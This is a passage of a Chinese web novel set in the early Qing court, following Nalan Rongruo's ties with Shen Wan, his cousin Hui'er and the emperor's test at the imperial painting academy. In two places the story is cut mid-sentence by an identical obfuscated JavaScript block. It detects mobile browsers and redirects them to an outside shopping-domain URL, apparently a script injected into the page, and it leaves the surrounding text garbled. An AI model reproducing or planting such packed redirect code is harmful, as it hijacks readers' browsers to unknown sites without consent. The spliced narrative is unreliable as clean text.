“我不懂。我是个孤儿,自小跟在师傅身边,本事都是师傅教的。” “你师傅是谁?” “我不告诉你。” “我拿自己的名字作为交换,换你的师傅的名字如何?” “公子的名字珍贵,比我师傅的名字要珍贵上万分,所以我不愿。” 容若遗憾道:“世上有那么多公子,出身官宦人家的男子都可称为公子,哪能分得清?” “那——”沈宛一笑,“我就只记住一个:纳兰公子。你能跟纳兰公子比吗?” “等你把你的真实名字告诉我后,我再给你答案。” 沈宛把容若从地上拉了起来,提议道:“今日机会难得,可否邀请公子一并入山中踏雪。” “我畏寒。”容若并不瞒着,“在过冷的环境之中呆不了许久。” “就——”沈宛一斟酌,“只呆半晌如何?” “能够在午膳之前赶回来就好,今日我府上有人要来,是我的表妹,我不能错过了家宴的时间。” “那就不去了。”沈宛直爽道,“短时间踏雪不尽兴,况且公子你心里还惦记着别的事情,我不能耽误你。” 汉家的女子大抵都是这般性格吧? 一面明确地向对方亮出自己的态度,另一面又懂得为对方考虑,宁愿优先顾着对方,也不会强求对方来满足自己的所盼。 容若对宛卿格外欣赏。 “公子,你可知道久别重逢的女子的心思?” “懂,又不太懂。怕话说深了,让她觉得重;又怕话说浅了,让她觉得轻。” 停了停,容若对宛卿敞开心扉道: “所以,别说是面对表妹,日常面对前来府上的阿玛的宾客的时候,我也会察言观色,自己掂量如何表现、如何说话才最妥当。” 沈宛相伴容若而走,理解道: “公子你是个性情中人,亦是个会把别人的过错当成是自己的过错的人。所以为了避免珠玉染尘,你就凡事小心以对。总觉得……今日公子面对我,说出了不少平日里不敢直言的话一样。” 不敢直言的话。 容若在心里默念了一遍。 有太多太多了,像是: 跟阿玛明珠之间,多聊的是国家大事和天下大局,自己的杂念和病痛,多半是藏着忍着;跟额娘之间,多牵绊的是家族内部之事和人情往来之顾,自己的不甘愿和无奈何,几乎是未透露过半分。 跟朋友之间,能帮则帮,能救则救,心诚所至,无怨无悔。 跟皇帝之间,君臣相称,明灭交织,合斥有时,情谊匪浅。 沈宛用手晃了晃眼前人的眼睛:“公子,你在想什么?” 容若微笑:“在想……自己有没有你心中的‘纳兰公子’那般的远见卓识和器量。” 这回,沈宛倒是没参透他的意思,只道:“纳兰公子姿容端丽,以才情见长,天下无双。” 容若依旧淡笑,如烟似风。 “宛卿,如果我说,纳兰公子为才华所累,你信吗?” * 容若带着拈花遇人后的满心欢喜,回到了明府。 对他而言,墙角的水仙花和相随的宛卿,就是今日发生的最好的事情了。 掌心中的白玉玉佩,似乎还存留着宛卿的余温,丝丝入心,浅暖却温。 “公子回来了。” 随着管家的一声叫,容若慌忙把掌心的玉佩系回了腰间。 进入客厅,容若看见了惠儿表妹。 惠儿落落大方,有着说不尽的女子之美。 弯眉似月,眸含秋水,面如桃花,唇若点红。楚楚细腰,曼妙身姿,身着好似复活了冬日的生机一般的若草色冬款旗袍,整体而看,好是出众的气质。 “惠儿请伯父伯母安好,请表兄安好。” 说着,惠儿就向明珠一家人福了一福。 “不必拘束,你就将此处当作是自己家里一样就好。” 明珠客气道,用眼神叫惠儿入座。 “是啊惠儿。” 明珠夫人过去拉了拉惠儿的手,亲份道:“你跟容若年纪相当,性情相近,住在一起提升提升修养也是好的。” 容若从话音里听出了端倪,就小心地确认道:“额娘,您叫惠儿提升修养的意思是?” 不等夫人解释,明珠就先一步道:“容若,惠儿这次来京师,是来参加选秀的,所以暂住在我们明府当中。你要多多教导她才艺之事才是。” 容若心中一愣,却很快恢复了寻常模样,道:“儿听从阿玛和额娘的嘱托。” 是夜,容若和惠儿在府中花园侧的回廊下相会。 惠儿从袖中拿出一只亲手缝制的香包,相赠道:“惠儿知道表兄患有寒疾,便在香包里面添加了艾草等芬芳之物,闻着安神也是好的。” 容若接过香包,谢道:“我素来不愿在别人面前提及自己的病痛,多亏惠儿你还惦记着。” “惠儿自小与表兄相逢相处,早已把表兄当作是天底下最好的男子,发誓:此生非表兄不嫁。” “可是进宫选秀你要是不去,那就是抗旨,抗旨是大罪,重则杀头。” “我这一生,最不想嫁的就是天子。”惠儿打着心底道,“我不想在深宫之中度过漫漫长夜,不想去跟其他嫔妃争宠,更不想做一个背负纳兰一族荣耀的女子。” “惠儿你可知道,前几日,恰好有一个女子说了一句跟你类似的话。”容若宽慰表妹道,“她说:嫁谁都不能嫁给纳兰公子。” “她厌恶表兄你吗?” “不是。”容若摇头,“恰恰相反,她不嫁我,是为了我好。” “表兄,我不是在求你垂怜我,只是想告诉你:惠儿心里真正喜欢的男子,永远只有你一个人;惠儿这一生的心之所属,也唯有你一人。” “惠儿,若说因为你的出众才貌,入宫选秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129590|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且被选中是注定的,那么我在将来因为阿玛的势力而受到皇上的赐婚、迎娶一个未知妻子,也是注定的。” “如果我宁死不肯呢?”惠儿睫毛微颤,“不肯入宫去做皇帝的妃子呢?” 容若思忖良久,才开口道: “那就称病,称病也不行的时候,就躲避;躲避也不行的时候,就远离;远离也不行的时候,就说明:你跟皇上之间的缘分,是怎么都断不了的。” “表兄你为什么就不能接受我的心意呢?” “惠儿,时局由不得你我让感情水到渠成啊!” 容若靠坐在栏轩上,耐心道: “阿玛正处在朝中立威的关键的时期,定是不敢去求慈宁宫里的老祖宗,让老祖宗先一步将你指婚给我。我要是冒然向皇上提出娶妻之意,把自己要娶之人的名字一字不错地说出来,会引来内外多少非议?” “阿玛的政敌、额娘的系族、朝中的老臣……以及那些向明府提过亲、就指望着把我纳为女婿之人,就会源源不断地把纳兰家当作猎物来啃食干净,我不能做这样的不孝子。” “真的没有别的办法了吗?” 惠儿流下了数行清泪。 “我必须入宫选秀,表兄你唯有等待皇帝的赐婚,才是对纳兰家最好的做法吗?为什么你我之间的感情,要为了纳兰一族而改变原本应有的轨道呢?惠儿不甘心,惠儿不甘心啊……” 容若拿出自己的手帕,为惠儿擦去了双颊的泪痕。 忽然轻咳了几声,垂手落帕,半身几近要从栏轩上摔落。 惠儿紧张地握住表兄的手,果然极冷。 不,不单只是这双手,他浑身也是极寒极痛,想必是寒疾忽犯,忍耐到了极限的缘故。 “惠儿。”容若唤表妹的名字,“扶我回房,不要惊扰了阿玛和额娘。也不要惊扰了宫中的医官,皇上正是筹谋除掉佞臣的关键时刻,不能因为我的事情分心……” 容若就这么喃喃地说着。 他说不能给别人添扰,然后昏死了过去。 * 好在惠儿是个遇事不会六神无主的、懂事的女子。 这边她正想方设法地安置和照顾容若,那边的一处密所之中,沈宛跟师傅宋应星见了面。 寒风透窗而入,摇曳烛光,也摇曳着人心。 屋内有一箱子,带锁而置,里面装着三卷十八篇的《天工开物》。 宋应星背着手站立在箱子边,对沈宛道: “我的至亲和挚友,无一不是死在多尔衮手下,我之所以苟活性命至今,皆因著述未完、悲愿未成,不可含恨殉国。” 宋应星又是一叹,走到了窗子边,任凭冷风吹刮帽带,心有不甘道: “我如今剃发留辫,真是奇耻大辱!唯有在夜深人静之时,我才敢恢复了这大明的衣装。兄长和友人若是泉下有知,知道我活的里外不像是个现世之人,定不会原谅于我。只可惜我势单力薄,可以指望的人,唯有是沈宛你。” “原本我以为张岱是可以交心之人,不想他竟然大意写下一篇《湖心亭看雪》,将对故国的追思之情袒露无疑,以至于让明珠家的公子看透了去。唉!若非明珠家的公子心善,未在皇帝和太皇太后面前张扬此事,你说张岱还能活吗?” “那自然是活不成。”沈宛直白道。 “御婵【注1】早就知道纳兰公子明谋善断,竟不想他还是个善良之人。” “要不怎么说明珠走了大运呢?天赐了一个完美的儿子给他,忠孝两全。有这样的珠玉在手,往后明珠何愁官运不亨通?” “明府势力这般大,想要攀亲的人一定不少吧?” “那也不是明珠可以做主的。”宋应星话锋一转,“但是我相信:沈宛,凭借你的才情,终究有一天你会走进纳兰公子的心坎里。” “走入了纳兰公子的心坎里又如何?他又没法对我这样的身份的女子明媒正娶。与其在将来成了他的侍妾,我还不如——且把他当作永远得不到的心头好得了。” 宋应星笑而不语。 他笑沈宛不知道自己的使命,或者说宿命,她是注定了要走到纳兰公子身边去、走进他那颗纯净似琉璃的内心当中去的。 沈宛不瞒师傅道:“今日我遇见了一位温润公子,一方面我觉得他谨小慎微,另一方面我又觉得他心怀天下。来到京师以后,他是第一个打动了我的男子。” 宋应星神色存疑:“心怀天下……吗?” “嗯,他跟别的富家公子都不一样:会很认真地考究一幅画、会很入情地珍惜一朵花、也会向我这个陌生人说出心里话。他说,自己想要有可与纳兰公子所比肩的:远见卓识和器量。” 沈宛的脸上,浮出一丝倾慕的微笑。 那丝微笑,像是一个轻轻的吻,飞出了窗外,落到了失去了意识的纳兰容若的脸庞上。 【注1】御婵:沈宛的字。 4. 第4章 梦中有一片辽阔的草原,纳兰容若站在了一顷碧绿的正中央,看着天空中盘旋而过的雄鹰。 忽然,耳边传来了阵阵马蹄声,似近还远,似远还近。 容若转头一看: 祖王父多尔衮一身盛装,策马奔跑。在他的身边,一并驰马而行的,正是大玉儿。 他英姿飒爽,是大金最强巴图鲁;【注1】 她干练貌美,是满蒙第一阿图玛。【注2】 他追逐着天际的雄鹰,说志向当如雄鹰高展; 她笑声朗朗紧紧跟随,说感情当如雄鹰坚韧。 彼此的誓言,真切的如同不可转移的磐石那般、无懈可击。 彼此的钟情,合拍的好似连理枝一样、永远都不会被拆散。 英雄红颜相慕好,罢马醉饮夜方归。 双双逐鹰骁勇姿,哪听营中声声催? ——原来祖王父和孝庄太后年轻时,是这般模样呀! 容若放眼远眺,几乎想振臂呐喊。 但是又像被什么东西束缚住了一样,迈不动步子,抬不起双手,喊不出声音。 真是奇怪,明明是晴空万里的好天气,怎么就下雨了呢? 祖王父和大玉儿,他俩无惧风雨,还在向前。 不,不对,只剩下祖王父一个人在行进,大玉儿去了哪里? “多尔衮必将马失前蹄,坠落而死!” 是谁在向祖王父发出诅咒? 老天爷?还是别有图谋之人? 风是猛的,雨是密的,雷是响的,天幕是黑的。 泪是冷的,骨是痛的,手是颤的,人心是险的。 糟糕,什么都看不见,什么都触摸不到。 可是在后来—— 马匹的呜咽声和人落马后吃痛声,为何又如此清晰地入耳? 祖王父,你在哪里…… 祖王父,你被谁暗算了…… * 纳兰容若睁开眼睛,感触到手绢擦拭着额头的轻柔动作的时候,是满屋笼罩着烛火的夜晚。 惠儿表妹坐在床侧,柔声道:“表兄,你醒了。” 容若轻轻点头。 雪,没有一点声音,一如惠儿那般冷静有度。 家,没有丝毫动作,一如寻常般各人做各事。 如此就好,什么都没有发生。 平安顺遂,昏阙会醒,疼痛会消。 几度循坏,几度回归原点,还跟以前一样。 容若脸上露出了让惠儿放心的笑容,他要以此来告诉她:自己没事了,多亏了她的细心照料。 惠儿亦是不像小女子那般,反复说着关切之言和担心之语。 她知道表兄心中澄澈,把一切都瞧得明白:谁照顾了他、明府情况如何,甚至是如今几更、天色怎样……表兄统统心知肚明。 表兄是一个在病痛过后,也不舍得别人再费神来关心他的人。 他永远都是那么惜己爱人、纤尘不染地存活于世。 他永远都是有所顾及家国、将自己的分寸拿捏的恰到好处。 容若被惠儿扶着从床上坐起,背靠一软枕。 “做了一个前后反差极大的梦。”他描述起来,“我置身草原之中,看见了为大清立下汗马功劳的已经故去之人。” “我见他左手美人、右手天下,一番得意无从描述。我想让他感知到我这个后辈的存在,却无能为力。后来,天色大变,他的美人离他而去,他的天下交到了别人手中,连他自己……也未可得到善终。” “惠儿,你说这个梦预示着什么?” “惠儿知道表兄说的人是谁。惠儿的阿玛和玛法都跟着他四处征战,并且最终战死疆场,所以就功勋而言,是不可不计的。只是人心易变,何况是帝王心?也许他最后会落马而死,是诸多因素所致,绝非源自他人的图谋。所以惠儿觉得,表兄之所以会做这个梦,应是预示着让表兄你去挽救谁的性命吧?在少年天子下手之前,让当下的某位功臣自知悔改,臣服于君而免除杀头之罪。” “这样啊——” 容若在心中一琢磨: 少年天子是玄烨,即将步祖王父多尔衮的后尘之人,正是辅政大臣鳌拜。 照着当下的局势看,鳌拜是非死不可,玄烨表面未与其起冲突,暗地里却做了长久的规划,此战:只许成功,不许失败。 “惠儿,少年天子虽不是你真正想嫁之人,可是你觉得在你眼里、在天下人眼里,玄烨是个怎么样的人?” “在惠儿眼里,玄烨是个极有魄力之人,像一轮冉冉升起的红日,即将光芒万丈、普照大地。他在等待一个契机,一个让他能够尽情去施展政治才能的契机。在天下人眼里,大家都盼着大清能有一个好皇帝,好皇帝身边能有好贤臣,这样大清江山才能海清河晏、歌舞升平。” “你看,你都已经承认了玄烨的不平凡了吧?可愿意到他身边去做一个贤妃,与赫舍里皇后一同为他分忧?让玄烨的前朝政通人和、后宫安稳无争?” “表兄,你总有自己的办法来说服我。” 惠儿点了点头,“我答应表兄,嫁给玄烨以后,一定做他的好妃子。” 容若神情真挚:“惠儿为妃之后,就要把玄烨当作是自己一心一意对待的男子,我只许惠儿把我藏在心底。” 惠儿对容若说:“好。” 可是,她很想反问他: 藏着,就不想了吗?就不念了吗? 离别,就无缘了吗?就不见了吗? “惠儿熬了表兄爱吃的鸡丝莲子粥,表兄是想现在喝?还是先温着、待到天微亮再端进来?” “现在喝,伴着惠儿一块喝。” 容若看着惠儿出去拿粥背影,心里盼着玄烨待她好、盼着她能够得到幸福。 他轻叹: “轩窗风吹透,伊人淡香消。 何当再共竹马日?已是各安天命时。” 容若披衣起身,来到书桌之前,铺纸研墨,写下: 花丛冷眼,自惜寻春来较晚。知道今生,知道今生那见卿。 天然绝代,不信相思浑不解。若解相思,定与韩凭共一枝。 【注3】 * 如意馆中,众位画师都围到了禹之鼎面前。 原因是:禹生【注4】的桌面上,竟然插着数根洁白的鹅毛,他称之为鹅毛笔。 “真是稀罕呐。”一位年长的画师拿起一根鹅毛笔来细瞧,“我等都是用毛笔和工笔来作画,唯独是禹生有了这西洋玩意儿。” “禹生走在了我等的前头,颇有习得西洋画之才。”一来自琉球的阮姓画师道,“竟不知禹生近来为何痴迷于那些东西?” 禹之鼎一笑,简约大气道:“幸得佳人顾。” 原来,禹之鼎对官云辞一见钟情,为寄相思,就自己去找了西洋传教士且兼任了帝师的南怀仁,从他那里弄来了一套鹅毛笔,放置在画案上日日相对。 这套鹅毛笔,虽然不能跟官云辞别在发间的小礼帽上面的两根羽毛相比,但也好在是极其相似,所以禹之鼎是“情喻画中,画中出情”,笔不耕辍,好似得了神助一般,佳作多出。 “我还有此物。” 禹之鼎从怀中拿出一瓶香水来,往脖子上一喷,瞬间香满全馆。 画师们皆是大惊,不知道的,还以为那透明的瓶子里面装的:是何方神仙秘制了的“美酒”。不然怎会如此香浓、如此有味? “此物名叫:香水,西洋的男子们也爱用在身上。” 禹之鼎当着众画师的面晃了晃瓶子,大家只见: 似白酒般的液体清澈见底、无丝毫沉淀之物。水起微澜,徐徐摇曳,又慢慢复归于平静,端庄如闺秀进出于闺阁之间。壁留余迹,宛如轻纱,扬起滑落,亦幻亦真,岂非有仙娥曼舞之美? 禹之鼎用袖子把香水一遮,“此物见不得光。” “是啊。”陈姓画师道,“我大清男女衣装严实,怎能随便露出肌体来喷洒?否则犯了行为不端不检之罪,怪谁呢?” “非也,我的意思是此物要在阴暗之处存放。它要是见光了,很快就会挥发和变质。” “禹生,你所言的‘挥发’与‘变质’是何意?” “云辞格格是这么跟我说的:挥发就是变成气体消失,变质就是浑浊失味。总之就是‘不香了’的意思。” 陈姓画师听罢,点了点头,若有所思。 忽然他抚掌大悟道:“禹生,你这是对女子动情了呀!活色生香,难得,难得——” 馆长刘佳喀隆竖起大拇指,对禹之鼎高赞道: “禹生真乃是可造之材,提升画技不拘泥于我大清,更是能够放眼西洋,此为心胸宽大、博采众长也。又得了一等公朴尔普之女官云辞的眷顾,来日方长,必将是有情人终成眷属啊!” 众画师也追随着馆长道:“禹生之荣,就是我等之荣。我等之荣,就是如意馆之荣;如意馆之荣,就是大清之荣。” 禹之鼎在一片赞扬声中,坐回了自己的画案前。 托腮展望,仿若情路坦直无阻。 凡事可期,一画一人一颗心,牵己牵她牵丝线。 * 书斋之中。 玄烨正在认真温书。 大太监顾问行进来,小心翼翼上前道:“奴才有一事要回禀万岁爷,不知道当讲不当讲。” 玄烨放下书卷,“你都这么问了,不是明着要讲吗?” “是。”顾问行把茶盏放到皇帝面前,“画师禹之鼎近来沉迷于西洋之物,所用所画皆是我大清立国以来的头一号。” 玄烨似乎并不想多做干涉,只平淡应道:“纳兰不是会题字题诗吗?传了朕的命令下去,叫他到如意馆挑了禹之鼎的任意一幅画作出来,当着众画师的面配字,然后上呈到朕面前来。” “哟,这纳兰公子哪会写洋文呢?”顾问行帮着圆场道,“万岁爷您这就是强他所难了。” 玄烨原本还想说:“朕本就是叫纳兰写汉字。” 却被顾问行的话莫名一“启发”,倒是想考验考验起自己的陪臣来。 于是,他摆出皇威,不留余地道:“朕就是要叫纳兰题洋文题满文,这事交给你去办,不得有误!” 顾问行恨不得打自己一嘴巴,只得领命:“奴才遵旨。” * 明府。 顾问行顾公公亲自前去了一趟。 明珠立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129591|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎了出来,客客气气道:“怎劳总管大人您亲自前来?” 顾问行开门见山道:“奴才是为了明珠大人你的公子而来。” 明珠大惊:“不知容若是否犯了什么错?哪里惹的皇上不高兴?” 明珠心中最担心的,自然是:容若与惠儿之间的青梅竹马之情,会不会事先被皇上得知了去。容若因此惹怒圣颜,也在情理之中。 顾问行告知道:“万岁爷年轻气盛,说一不二也是有的。如意馆画师禹之鼎跟纳兰公子可是挚友,万岁爷念着他俩交情好,特意给了纳兰公子一个机会,让纳兰公子为禹画师的西洋风格画作题字。” 幸好不是。 想来容若这般如白雪似的通透无暇之人,又怎会不知轻重,偏要拿感情之事来跟皇帝做对呢?明珠暗暗松了一口气。 等反应过来,明珠心里一咯噔,请了顾问行到客厅上座,才三思而问:“总管大人,您是说皇上让犬子在西洋画上面写洋文吗?” 顾问行淡饮了一口暖茶,应道:“万岁爷的心思,奴才通常只敢猜五成,哪能全部弄懂了来告知明珠大人你呢?亏得是纳兰公子聪慧,定是能够得知万岁爷的真实用意。” 明珠恳切道:“还请总管大人明示啊——” 顾问行摆了摆手,“明珠大人,你与其问奴才,还不如早些跟纳兰公子打个招呼,让他自个做好准备,不要耽误了万岁爷的赏画和看字的时间。” “是……是。”明珠心中忐忑,“本官是该听了总管大人的话,叫犬子心里有数才好。” “那奴才就不久留了。”顾问行起身,“这就先行告退。” “恭送总管大人。” 等到顾问行的身影从客厅完全消失不见后,明珠就像是全身被抽空了一般,跌坐在椅子上。 * “儿给阿玛请安。” 纳兰容若觉得身子好了些,能够下床了,便主动去了明珠房中。 “容若,有件事阿玛本想等到晚膳的时候再跟你说,你既然来了,那阿玛就现在说。” “是。” “皇上要你到如意馆去,从画师禹之鼎画过的所有西洋画之中挑一幅好的出来,在上面题字。”明珠强调,“皇上要亲自过目。” “儿记下了,明日就去。” 容若的平静让明珠惊讶,他忍不住问: “容若你知道接下这份活儿意味着什么吗?朝中有不少守旧势力,他们看不惯汉学汉人也就罢了,你要是踩在这个节骨眼上——让那些人嗅出了崇洋的端倪,那还了得?莫说是满蒙大臣和亲贵容不下你,一棋不慎,怕是连着阿玛我在朝中,也会失去立足之地啊!” 容若反过来安慰明珠道:“阿玛放心,儿会跟禹兄商量好了再行事,不会殃及任何人。” “只怕是你没有跟禹之鼎商量对策的时间啊!” 明珠一针见血道:“皇上一向爱跟你比才华,一逮着机会就较量于你、考察于你,甚至是巴不得向全天下通告:‘朕胜于纳兰!’阿玛虽叫你学会收敛和忍让,但也不得不承认——我明珠之子,就是比当今圣上才学高的事实。” 容若道:“请阿玛给儿一夜时间,让儿好好琢磨西洋画上面的字该怎么题,以及该用什么文、题什么字。” 明珠不断地用杯盖刮着茶盏:“你越是表现的冷静踏实,阿玛就越是不安。” “儿总不能自乱分寸吧?” 容若从明珠手中拿过茶杯,轻放在桌面上。 然后,为明珠点上了一盘安神香。 “容若,你就不怕皇上先一步暗暗派人到如意馆去没收了禹之鼎的全部西洋画,让你明日扑了个空,无法交代吗?” “儿相信皇上不是如此卑劣之人。” “他是君你是臣,他能赢你不能,他耍手段他有理、你费心思你遭训,这就是当天子身边的陪臣之苦啊!阿玛都明白,所以你不必勉强自己……” “儿若是不接这份活儿,那才叫目中无君,皇上才有理由降罪于我。儿如今坦然接受,并且告诫自己一定要完成的尽善尽美,就是忠君、为父。” “容若,你——” 不知是心疼还是心塞,明珠没法把话说完整。 “是。儿不会出错,不会叫满蒙大臣和亲贵们容不下,也不会叫阿玛在朝中落得四面楚歌。” “阿玛若无其他事情交代,那儿就先行回房。” “好,你去吧。” “是,儿告退。” 容若穿过回廊时,感受到了阵阵寒风, 明明冷的很,他却禁不住到栏轩上去坐下,伸出双手接雪。 雪在掌心之间堆积融化,成屑化尘,终难成型。 风在身边两侧席卷而过,勾衣乱袖,终不摧人。 他想说,阿玛,儿没事的,您真的不用担心。 【注1】巴图鲁:勇士。 【注2】阿图玛:美人。 【注3】纳兰性德词作《减字木兰花·花丛冷眼》 【注4】此时的禹之鼎,虽然为少年天子的御用画师,算是个官,但也只是在如意馆中“奉职”,直接对皇帝负责、供皇帝直命差遣。所以那些年长于他的同僚们,都叫他禹生,而不是禹大人。 5. 第5章 夜中。 纳兰容若端坐在书桌面前,思辨着心中之事。 表妹惠儿站在一边,细心研墨,留意茶温,安静陪伴。 纸上所落墨的,不是洋文也不是满文,而是清秀俊逸的汉字。 汉字所描写的,不是回应皇帝的对策,而是一首应景的新词。 翠袖凝寒薄,帘衣入夜空。病容扶起月明中。惹得一丝残篆,旧薰笼。 暗觉欢期过,遥知别恨同。疏花已是不禁风,那更夜深清露,湿愁红。 【注1】 听容若读罢词作,惠儿满怀感动。 却忍不住提醒道:“表兄应当全心想着‘如何为如意馆禹画师的西洋画作题字’之事才是,怎还匀出了时间来为惠儿写词?” 容若微笑看她:“因为惠儿值得。” 惠儿停住了正在研墨的手,从心道: “惠儿一面盼着寒冬快过,表兄就不必再经受寒疾之苦;另一面又不希望春季来临的太早,惠儿就不会太早从表兄身边离开、到深宫当中去参加选秀。” 容若另取了一张纸过来,写下: 只恨世无双全法, 冬去春来自有时。 弹弦弄箫相贺好, 惠风已过兰莫痴。 惠儿聪慧,看懂了容若的诗的意思: 弹弦与贺好,第三句写的是“玄”烨和“赫”舍里皇后恩爱,天下夫妻,理应相效。 惠风和畅,莫对兰痴,第四句表兄是告诉她,惠儿你终将成为后宫的一位新妃,你我之间,是该放下旧时的一切痴情了。 惠儿转过身去,不忍表兄看见自己落泪的样子。 在她看来,自己的感情从未得到“成全”,所拥有的可以成为力量的东西,不过是表兄的“说服”。 表兄太过温润、太过懂得为人考虑,他不是不顾着自己,而是不能只顾着自己。 ——惠儿知道,表兄你怕伤着彼此,所以你从未在惠儿面前说过一句有歧义或者不中听的话。 ——惠儿知道,表兄你不舍得任何人难过,除了你自己。你处理这段感情的方式委婉却有效,惠儿懂得你心中所想,愿意听你之言。 “惠儿,我明日要去如意馆,你帮我备好出行的斗篷。” “表兄可是已经想出主意来了?” “找到对策了,心中喜悦,想要早些睡下,养好了精神才能果敢面君。” “惠儿祝表兄明日万事顺遂。” “好惠儿,你也去安置吧,就算是睡不着,听雪也是好的。” “嗯,表兄晚别。” “晚别。” 实际上,容若到了后半夜才睡着。 倒不是因为心绪纷绕,而是身子不适,难以入眠罢了。 * 如意馆中。 纳兰容若到达时,总管大太监顾问行已经等候在内。 容若四周细看了一遍,没有发现禹之鼎的身影,也不知道他被皇帝下了命令不准到场,还是忽然患病没法到如意馆坐班。 顾问行上前道:“纳兰公子,禹画师今日怕是来不了。原因你也不必问,就是你心中所猜的之一。” 容若道:“我明白。” 顾问行击掌三声,就有几个小太监一并抬了一口圆形的瓷缸进来,里面盛满了卷轴,还可以闻到些许墨香味,可见里面放置有刚刚画好的作品。 所以容若猜测:禹之鼎现在肯定是在如意馆中的某处,之前,正在作画的他忽然被皇帝派来侍卫给带走了,在对今日之事一无所知的情况下。 顾问行道:“这里面都是西洋画,除了禹之鼎的新作外,还有南怀仁南大人的旧作。纳兰公子,你可要看准了再挑,万岁爷的意思是:只准你挑卷轴、不准你打开后再选择。” 容若敏锐道:“那不如请总管大人随机拿一幅画出来如何?免得有人以为我曾经找禹之鼎合计过,在对自己有利的画作上做了标记,罪犯欺君。” 顾问行的脸上掠过一丝冷笑,道:“既然纳兰公子有这般自信,那奴才就不客气了。” 说罢,顾问行就当着如意馆众画师的面,随机抽了一个卷轴出来,交到容若手中,“纳兰公子,请吧——” 容若带着卷轴,来到禹之鼎日常当值的位置上坐下。 把长卷徐徐推开,不巧的很,是一幅西洋美人画,还正是那幅禹之鼎才画到了一半的未完之作,上面之人,正是一等公朴尔普之女:瓜尔佳·云辞(官云辞)。 顾问行“啧”了一声,故作委屈道:“奴才也不是专挑了这幅画的,只是手气如此,纳兰公子你说呢?” 容若专心地看着画面,道:“我只完成皇帝交待下来的差事,总管大人您请便。” 顾问行一不做二不休,干脆吩咐了身边的得力弟子道:“你去把朴尔普请来,就说明珠家的公子在为云辞格格的画像赋词,机会难得,务必前来一看。” 那小太监哪里敢犹豫? 一溜烟地就听了“干爹”的话,往外直奔而去。 容若对着画作中的“云辞格格”细看了好一会儿。 要说印象,不过是那日的一面之缘,她拿着禹之鼎的画作高高兴兴地从如意馆走出,彼此只是相互/点头,算作是打了招呼。 但是云辞的那身打扮真的是太引人注目了—— 下雪的天气,哪有人穿露肩的西洋长裙的? 八旗的格格,哪有人穿尖头的带着后跟的鞋子的? 所以才会过目不忘。 不忘她的音容笑貌和独特个性。 明明可以凭借脑中的画面,将禹之鼎未完成的画作画完,无非是添上蓬松的下半阙长裙、勾勒出荷叶边,再略添地上之物,让人代入“画中境”去而已,对容若而言并非难事。 但是,容若接下来的一个举动,却是震惊了全馆。 顾问行等人只见—— 纳兰公子不知道从哪里拿出了一把剪刀来,将画作裁成了两半,保留下来的,正好是禹之鼎已经画好的上半阙。 然后,纳兰公子又自取了一根与上半阙一模一样的圆木杆过来,自行补画、裱画。等到完成,天杆与地杆相得益彰,早已没有了画作被裁剪过的痕迹。 馆长刘佳喀隆惊问:“纳兰公子,你这是何意?” 容若雅道:“这幅画的作者是禹之鼎,我不能宣兵夺主、也不能与之平分秋色,所以就只选择留下他画好的部分。况且你看,这半身像也不会显得不协调,是吧?” 刘佳喀隆入宫十五年,没有见过这般处事之人,他对纳兰容若是既叹为观止又有口难言。 再看向顾问行,顾公公竟然是掏出手帕来擦了一把额间的冷汗,不发一句言语,谁也不晓得他心里在想什么。 画是重新规整好了,但是皇帝交待下来的活儿还没有着手。 容若胸有成竹,并不着急。 顾问行径直走到了容若对面,一边皱着眉头,一边递上一只上好的毛笔,道:“纳兰公子,请吧——” 容若却是没接,坦率道:“我不用黑墨,而用彩墨。我会自己调颜色,不劳总管大人费心。” 顾问行把笔一搁,往旁边一站,冷眼瞧着纳兰公子接下来的动作。 容若调好颜色之后,只为画作添加了背景,而未多写一个字。 背景取的是春意盎然之景,窗开帘动,似有清风徐来;再对着紧身胸衣上面的花朵上点一只翩跹而落的蝶,就仿佛人也有了更深一层的生气一般,一切都显得那么合适。 顾问行问:“纳兰公子,你可是画好了?不再想往上面添字了?” 容若道:“画好了,没有可以增补的地方了。” 顾问行叫来两个小太监,吩咐道:“你俩把纳兰公子改过之后的画作挂起来就挂在如意馆中最显眼的地方,万岁爷侯着看呢!” 馆长刘佳喀隆被顾公公的话吓了一跳,也不管皇帝是真来了还是没来了,只率着众画师一并迎出了馆外,对着空无一人的大道高喊:“臣等恭迎万岁爷圣驾!” 还好是没有白摆阵一场。 康熙皇帝从侧面走了出来,一并走在左右的,是御前侍卫曹寅和暂时被“软禁”了半晌的禹之鼎。 康熙皇帝走进去的时候,朴尔普正好到达。 朴尔普给少年天子请礼道:“臣参见皇上,皇上万岁万岁万万岁!” 康熙皇帝并没有正眼看馆中的任何人一眼,也没有理会朴尔普,只指着画中的女子问:“顾总管,这画中的女子是谁?” 顾问行向朴尔普递了一个眼色,朴尔普忙道:“是小女云辞。待字闺中。” 康熙皇帝好似刻意整蛊纳兰、想要搞得纳兰不知所措一般,大声道: “好,朕看这画中美人跟翩翩公子颇是般配,等日后请了皇祖母的准,就将官氏指给纳兰容若吧。” 不等纳兰容若有所反应,朴尔普就对康熙皇帝叩了个头:“臣谢皇上隆恩!” 禹之鼎也顾不得什么君臣之礼了,直接走到了康熙皇帝面前,耿言道:“臣以为皇上的决策甚为不妥,还请皇上收回成命。” 比起一无家势二无人脉的禹之鼎,朴尔普当然是希望纳兰容若当自己的乘龙快婿,于是他指着禹之鼎怒道: 